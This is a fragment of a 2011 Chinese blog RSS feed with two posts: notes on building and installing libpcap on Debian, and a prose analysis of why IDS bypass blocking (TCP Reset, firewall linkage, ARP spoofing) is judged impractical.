none; TEXT-INDENT: 0px; BORDER-COLLAPSE: separate; FONT: 12px/18px 微软雅黑, Helvetica, Times, Arial, serif; WHITE-SPACE: normal; ORPHANS: 2; LETTER-SPACING: normal; COLOR: rgb(51,51,51); WORD-SPACING: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px" class=Apple-style-span><span style="TEXT-ALIGN: left" class=Apple-style-span>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">1）下载：</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px"><a style="OUTLINE-STYLE: none; COLOR: rgb(47,99,179); TEXT-DECORATION: none" href="http://www.tcpdump.org/">http://www.tcpdump.org/</a></p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">2) 安装：</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">#./configure</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">#make install</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">将生成的库安装到系统默认目录中。此目录为 /usr/lib ，如果需要修改，可以修改文件Makefile 的 prefix。</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">3）问题解决：</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 30px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">#apt-get install flex</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 30px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">make: yacc: Command not found &nbsp; &nbsp;解决方法：#apt-get install biso</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">4）测试</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">#gcc &nbsp;test.c &nbsp;-lpcap</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">5）libpcap安装问题解决</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">/usr/local/lib/libpcap.so: undefined reference to `pcap_parse&#8217; &nbsp; &nbsp;解决方法：</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 30px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">没有安装开发包，<br>apt-get install libpcap-dev</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">我是用的 debian 系统，发现没有libpcap-dev 。解决方法：更新源</p>
<p style="PADDING-BOTTOM: 0px; MARGIN: 0px 0px 12px; PADDING-LEFT: 30px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">#vi /etc/apt/sources.list &nbsp; &nbsp;添加下列源，然后# apt-get &nbsp;update</p>
<div style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 30px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">deb http://ftp.debian.org/debian lenny main contrib non-free</div>
<div style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 30px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" id=_mcePaste>deb-src http://ftp.debian.org/debian lenny main contrib non-free</div>
<div style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 30px; PADDING-RIGHT: 0px; PADDING-TOP: 0px"></div>
<div style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 30px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">deb http://mirrors.163.com/debian lenny main contrib non-free</div>
<div style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 30px; PADDING-RIGHT: 0px; PADDING-TOP: 0px" id=_mcePaste>deb-src http://mirrors.163.com/debian lenny main contrib non-free</div>
</span></span>
<img src ="http://www.cppblog.com/flyonok/aggbug/143139.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyonok/" target="_blank">flyonok</a> 2011-03-31 17:48 <a href="http://www.cppblog.com/flyonok/archive/2011/03/31/143139.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>旁路阻断的可行性分析</title><link>http://www.cppblog.com/flyonok/archive/2011/03/10/141467.html</link><dc:creator>flyonok</dc:creator><author>flyonok</author><pubDate>Thu, 10 Mar 2011 01:04:00 GMT</pubDate><guid>http://www.cppblog.com/flyonok/archive/2011/03/10/141467.html</guid><wfw:comment>http://www.cppblog.com/flyonok/comments/141467.html</wfw:comment><comments>http://www.cppblog.com/flyonok/archive/2011/03/10/141467.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyonok/comments/commentRss/141467.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyonok/services/trackbacks/141467.html</trackback:ping><description><![CDATA[旁路阻断就是采用旁路侦听的手段来获取互联网上的数据包，然后再进行协议还原，根据内容进行阻断。这类技术的优点是不影响互联网访问的速度，并且对用户没有特殊的设置要求。通俗讲是并联在互联网的出口上，不会影响原来网络的稳定性。<br>采用旁路的方式管理网络并阻断非法连接的方法可以分为三类：<br>1、 发送TCP Reset包，<br>2、 通过与网关产品联动，建立临时规则<br>3、 进行基于arp得阻断方式。&nbsp;&nbsp; <br>首先我们看一下TCP Reset，我们以IDS为例，IDS设备是一个典型的旁路监听并通过TCP Reset进行阻断的网络安全设备。IDS TCP Reset实现方法，当IDS发现一条非法得连接IDS将会向通信的两端各发送一个TCP RESET包，从而实现主动切断连接的目的，此时通信双方的堆栈将会把这个RESET包解释为另一端的回应，然后停止整个通信过程，释放缓冲区并撤销所有TCP状态信息。这个时候，攻击数据包可能还在目标主机操作系统TCP/IP堆栈缓冲区中，没有被提交给应用程序，由于缓冲区被清空了，所以攻击不会发生。<br>对于RESET包来说，IDS发出的RESET包的前提是知道整个会话当前的序列号和确认号，否则这个RESET包将会被忽略。我们假定一个会话得确认号必须为152如果你发送的RESET包的确认号为142，那么堆栈将会认为这是一个无效的数据包或者被破坏的数据包而将它忽略掉。<br>从另一方面讲所有的IDS在响应攻击时都有延迟时间，因为IDS从抓取数据包，监测攻击，产生RESET包，到最后发出RESET整个过程都要消耗一定的时间。很多的IDS使用libpcap库来抓包，大部分IDS构建在类BSD的系统上，BSD系统下是利用BPF（Berkeley Packet Filters）进行抓包，BPF默认将会开一个很大的缓冲区，在一个典型的网络中，IDS发出RESET包的过程大约会延迟半秒。在Linux和Solaris平台上，性能要稍微好一点，但是肯定也有延迟时间。<br>而且TCP Rest对于网络得应用来说也有着很大得局限性，其只能针对通常得标准TCP连接发送阻断信息，对于UDP会话是无能为力得。再则目前得一些网络应用软件在会话连接保持上都很强得能力，TCP Reset包对于他们得效果基本可以忽略。<br>通过与网关产品的联动方式主要是向防火墙发送临时规则，以及路由器或交换机发送临时ACL列表，阻断当前这个会话。<br>这种方式存在着这么几个方面得问题：<br>1、首先是联动协议问题。&#8220;联动&#8221;一直是网络安全界中的一个很时髦的概念，虽然已经有五六年的历史，但是到目前为止，还远远没有得到充分的发展。现在联动得实现是以现有得某个厂家为核心，其他厂家的产品在一些半公开的SDK的支持下实现与核心厂家的某个产品实现互联。这样导致现有和多产品有联动功能，但是没有联动得实际效果。<br>2、联动信息的滞后。即使产品与防火墙有着优良得联动相应方式，IDS产品在检测得过程中发现了非法得连接，生成一条临时规则发送到防火墙，防火墙应用这条规则阻断这个连接；在这一个过程中存在着三个延时，一、IDS发现非法连接，生成临时规则；二、规则传输给防火墙；三、防火墙应用规则。这三个演示得总时间最好情况下是小于两秒，而且这个过程当中IDS的检测是滞后IDS检测到非法连接时，这个连接已经建立了，如果这个连接时蠕虫，或木马，两秒的延时足够成功攻击了。<br>3、当遇到大规模的非法连接的时候，IDS会针对每一条会话向防火墙添加临时规则，这样势必造成防火墙临时规则增大，降低防火墙的效率，引起防火墙包转发延时，严重造成防火墙瘫痪，网络中断。<br>最后我们来看一下基于arp的阻断，共有三种方式ARP 欺骗、ARP 投毒和 ARP 攻击。先了解ARP的原理。ARP 用于将 IP 地址匹配到或解析至恰当的 MAC 地址，所有的网络设备都有一张 ARP 表，里面临时记忆着该设备已经匹配起来的所有的 IP 地址和 MAC 地址。ARP 表能够确保该设备不需要向已经与自己进行过通信的计算机重复 ARP 询问。当有人在未获得授权时就企图更改 MAC 和 IP 地址的 ARP 表格中的信息时，就发生了 ARP 攻击。通过这种方式我们可以伪造ARP应答包，使得非法连接主机的ARP表错误，无法连接到网关，从而阻断连接。<br>这种阻断方式从效果上讲是很强得，但是同时也造成了一个问题，其不但阻止了非法连接，而且也阻断了合法连接，这对于网络中的正常应用是有着很大得影响得。<br>综上所述，采用旁路阻断的方式在实际应用中时不可行的。
<img src ="http://www.cppblog.com/flyonok/aggbug/141467.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyonok/" target="_blank">flyonok</a> 2011-03-10 09:04 <a href="http://www.cppblog.com/flyonok/archive/2011/03/10/141467.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>